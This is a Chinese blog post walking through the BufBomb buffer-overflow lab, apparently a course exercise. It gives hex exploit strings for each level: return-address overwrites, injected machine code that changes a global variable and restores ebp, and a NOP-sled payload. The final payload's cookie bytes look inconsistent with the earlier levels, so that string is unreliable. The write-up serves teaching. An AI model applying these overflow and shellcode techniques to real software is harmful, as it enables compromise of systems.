七分鐘搞定BufBomb

第一分鐘:棧幀

結(jié)構(gòu)如下


Stack Frame

第二分鐘:Candle

我們要讓getbuf函數(shù)不返回到test,而是返回到函數(shù)smoke。那么,很直觀的,我們應(yīng)該去修改getbuf函數(shù)棧幀中的返回地址。通過(guò)分析bufbomb反匯編之后的代碼,我們發(fā)現(xiàn)buf的開(kāi)始地址在-0x28(%ebp),而返回地址的存在從0x4(%ebp)之后的四個(gè)字節(jié)中。因此,我們只需要在buf中輸入48個(gè)字節(jié),其中最后四個(gè)字節(jié)為smoke函數(shù)的地址(小端順序),即可。

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 04 8b 04 08

第三分鐘:Sparkler

我們這次依然要改變getbuf的返回地址,只不過(guò)要返回到函數(shù)fizz,依照上一分鐘的步驟修改一下即可。不同的是,這一次,我們還要修改fizz的參數(shù)。通過(guò)分析bufbomb反匯編之后的代碼,我們發(fā)現(xiàn)是0x8(%ebp)0x804e104這兩個(gè)地址中的值發(fā)生了比較。很明顯,后一個(gè)是全局變量cookie的值,所以我們要對(duì)前一個(gè)地址的值進(jìn)行修改。

讓我們回想一下到fizz之前的過(guò)程。首先,getbuf運(yùn)行到了返回,這時(shí),它先movl %ebp, %esp,然后popl %ebp,此時(shí)esp也因pop操作而加了4,指向返回地址,這部分是leave的操作。之后,ret被調(diào)用,它的作用是popl eip, esp也因?yàn)?code>pop操作又加了4,這是eip中存儲(chǔ)的應(yīng)該是fizz的地址。

到了fizz之后,首先還是要進(jìn)行push %ebpmovl %esp, %ebp。這樣,fizz的棧幀中ebp的地址比getfuf的棧幀中ebp的地址高4,這種差異是由于我們并沒(méi)有像正常的執(zhí)行過(guò)程那樣將返回值壓棧造成的。所以,fizz中的val應(yīng)該在比getbufebp高12的地方。

知道了這些,我們就可以構(gòu)造字符串了。首先我們要重寫(xiě)getbuf的返回地址,這個(gè)和上一分鐘的做法基本相同,然后,我們要重寫(xiě)val參數(shù),這個(gè)應(yīng)該放在ebp之后12比特開(kāi)始的4比特中。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 2e 8b 04 08 <- 這四個(gè)是覆蓋getbuf返回地址用的
00 00 00 00 42 2f 4f 7b <- 這四個(gè)是覆蓋val用的

第四分鐘:Firecracker

這一分鐘,我們需要修改全局變量了。在流程上,我們需要作出一些改變。原來(lái)是getbuf->xxx func,現(xiàn)在是getbuf->buf->xxx func。也就是說(shuō),我們需要讓buf里的語(yǔ)句被運(yùn)行。所以,這一次,雖然我們還要覆蓋getbuf的返回地址,但是要讓它返回到buf里。我們先用gdb看一下buf的地址,方法很多,可以查ebp的地址然后運(yùn)算,也可以查傳入Gets的參數(shù)。

之后,我們要查找global_value的地址。全局變量的地址是直接載入的,所以在反匯編的代碼里查就好。

然后,我們就要開(kāi)始寫(xiě)hack代碼了。首先我們要修改global_value的值,用movl $0x7b4f2f42, 0x0804e10c把自己的cookie寫(xiě)進(jìn)去。然后,我們還要把bang的地址放進(jìn)eip來(lái)實(shí)現(xiàn)跳轉(zhuǎn)。pushl $0x08048b82然后ret即可。

最后把這段代碼匯編,插入到攻擊字符串里。

c7 05 0c e1 04 08 42 2f <- hack代碼
4f 7b 68 82 8b 04 08 c3 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 98 38 68 55 <- buf的地址

第五分鐘:Dynamite

首先讓我們來(lái)分析一下我們改變了什么?eip最后會(huì)指向該繼續(xù)運(yùn)行的地址,所以沒(méi)有變;esp最后會(huì)變成調(diào)用后ebp的值,ebp的值沒(méi)有變,所以esp也是正確的;棧被我們修改了,但是再返回后,我們修改的那部分都被pop掉了,所以也沒(méi)有變。唯一變了的就是原來(lái)的ebp的值,這個(gè)在我們hack的時(shí)候被覆蓋掉了(按我寫(xiě)的字符串來(lái)說(shuō),會(huì)被覆蓋成0 0 0 0)。所以我們只需要修復(fù)一下ebp就好。

那么ebp的值應(yīng)該是什么呢?我們只需要用gdb,設(shè)置到test里任意位置的斷點(diǎn),然后打印ebp就可以了。

movl    $0x7b4f2f42, %eax ; 放cookie
movl    $0x556838f0, %ebp ;回復(fù)一下ebp
pushl   $0x08048bf3       ;push應(yīng)該返回的地址
ret                       ;pop剛才壓進(jìn)去的地址到eip,實(shí)現(xiàn)跳轉(zhuǎn)。

匯編后即可生成代碼,然后組合成攻擊字符串

b8 42 2f 4f 7b bd f0 38
68 55 68 f3 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 38 68 55

第六分鐘:Nitroglycerin

這一分鐘和上一分鐘做的事沒(méi)什么區(qū)別,不同的是要對(duì)變化的棧地址進(jìn)行處理。

我們從文檔中知道,棧的size大于地址的變化幅度,因此老方法還行的通。

對(duì)于攻擊字符串,我們需要修改三個(gè)地方:ebp還原,buf的填充,以及返回地址。

由于地址是不定的,所以我們不能再用固定的值還原ebp。我們?cè)?code>testn中可以發(fā)現(xiàn),ebp-0x28esp,所以可以用esp來(lái)計(jì)算。(esp在進(jìn)入getbuf之后變成了ebp,但是在運(yùn)行buf里的代碼的時(shí)候,leave代碼被運(yùn)行,這樣esp又變了回來(lái))

然后是buf填充。之前是32,現(xiàn)在是512,所以填充的字符串長(zhǎng)度也要變成,其次,我們應(yīng)該用nop(機(jī)器碼是90)來(lái)填充。(之前是什么都可以,現(xiàn)在就不一樣了)

最后是返回地址,之前設(shè)置為buf的首地址,不過(guò)由于現(xiàn)在不知道那是多少,所以應(yīng)該直接試一下,輸出每次的buf地址,選個(gè)比較大的,這樣,小的也會(huì)落在nop區(qū)里,總會(huì)運(yùn)行到hack代碼。

90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 

90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 
90 90 90 90 90 42 2f 2f

4f 7b 8d 6c 24 28 68 67
8c 04 08 c3 28 37 68 55

第七分鐘:寫(xiě)一下實(shí)驗(yàn)報(bào)告

如上

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書(shū)系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容